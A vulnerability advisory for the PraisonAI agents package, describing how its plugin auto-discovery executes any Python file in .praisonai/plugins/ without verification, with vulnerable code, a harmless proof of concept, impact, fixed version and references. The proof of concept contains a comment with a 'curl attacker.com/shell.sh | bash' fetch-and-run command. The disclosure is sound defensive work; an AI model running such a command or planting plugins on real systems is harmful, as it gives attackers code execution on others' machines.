PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification
Summary
The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.spec_from_file_location() + exec_module() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.
Details
src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):
def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
spec = importlib.util.spec_from_file_location(module_name, file_path)
module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = module
spec.loader.exec_module(module) # Executes arbitrary Python code
if hasattr(module, "create_plugin"):
return module.create_plugin() # Calls arbitrary function
src/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):
# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/
No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.
PoC
from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os
# Create a "malicious" plugin
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n'
'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
'# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n'
'def create_plugin():\n return {"name": "evil"}\n')
# Load it
result = load_plugin(plugin_file)
print(f"Result: {result}") # {'name': 'Evil Plugin', ...}
# Verify code executed
import sys
for name, mod in sys.modules.items():
if 'evil' in name:
print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODE_EXECUTED_AT_IMPORT_TIME"
Tested result: Plugin file was loaded via exec_module(), and the PROOF variable confirmed code execution at import time.
Impact
- Arbitrary code execution: Any
.pyfile in the plugins directory is executed with full Python access - No user interaction required: Plugins are auto-discovered and loaded at framework initialization
- Persistence: A planted plugin survives restarts and executes every time the framework starts
- Attack chain: Combine with path traversal (write_file tool) to plant the plugin remotely
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | praisonaiagents | < 1.6.78 | 1.6.78 |
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-m6wp-h223-4c8g
- https://nvd.nist.gov/vuln/detail/CVE-2026-61446
- https://nvd.nist.gov/vuln/detail/CVE-2026-62165
- https://github.com/MervinPraison/PraisonAI
- https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-plugin-auto-discovery
- https://pypi.org/project/praisonaiagents
- https://github.com/advisories/GHSA-m6wp-h223-4c8g
- CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-427, CWE-94- Platform
- Python (PyPI)
- Package
praisonaiagents- Disclosed
- 08.10.2026
- Updated
- 15.10.2026 18:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-4271 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-m6wp-h223-4c8g - CC BY 4.0
Vulnerability history: praisonaiagents
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 50
- First → latest
- 04.2026 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 10
- High 27
- Medium 13
Disclosures per year
- 2026: 50
-
PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification this entry
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